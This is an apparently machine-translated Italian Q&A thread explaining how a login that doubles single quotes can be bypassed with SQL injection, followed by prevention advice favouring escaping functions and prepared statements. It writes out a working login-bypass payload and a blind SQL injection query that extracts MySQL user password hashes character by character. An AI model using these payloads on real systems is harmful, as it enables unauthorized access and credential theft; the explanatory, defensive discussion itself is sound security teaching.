Rompendo il nome utente e la password di mysql [chiuso]

The second version of the website escapes single quotes to two single quotes.

Is there a way I can log in as the user hello_world?

Sì, perché questo tipo di protezione non è affatto sicuro (anche io non chiamerei escape).

Attacco

Immagina un attacco del genere:

Username: hello_world
Password: \' OR 1=1 #

Che verrebbe trasformato in:

Password: \'' OR 1=1 #

Che probabilmente assomiglia a questo in una query:

SELECT * FROM users WHERE username='hello_world' AND password='\'' OR 1=1 #'

Che viene quindi eseguito in questo modo, perché il commento ( # ) taglia il resto della query:

SELECT * FROM users WHERE username='hello_world' AND password='\'' OR 1=1 

Quindi controlla se la tua password è \' o se 1=1 (che fa) per autenticare l'utente hello_world .

Ulteriori danni

Nota anche che il bypass di login non è l'unico attacco che può essere fatto qui.

I dati possono anche essere recuperati tramite iniezione SQL cieca (true = logged in, false = non loggato):

SELECT * FROM users WHERE username='hello_world' AND password='\'' OR ascii(substring((SELECT password FROM mysql.user LIMIT 0,1),1,1))<100
[ etc. ]

È un attacco rumoroso su una pagina di accesso, ma potrebbe comunque causare seri danni.

Prevenzione

Il filtraggio è il peggior tipo di protezione contro le iniezioni SQL. L'escaping (es. Tramite mysqli_real_escape_string ) è migliore, e usare le istruzioni preparate è la cosa migliore (sono più difficili da rovinare che dall'esclusione).

Dipende dalla tua comprensione dei "personaggi speciali". Se filtri ogni personaggio che non è alfanumerico, potresti essere sicuro, ma non posso rispondere a un "sì" di sicuro.

In generale, non è una buona idea implementare i propri controlli di sicurezza per le query del database.
Invece, usa le funzioni built-in come mysql_real_escape_string () (se sei usando PHP per esempio).
Inoltre, dovresti utilizzare istruzioni preparate . Quelle sono query SQL con segnaposti per l'input dell'utente. Ciò garantisce che l'input dell'utente non venga interpretato come una parola chiave / funzione / separatore SQL.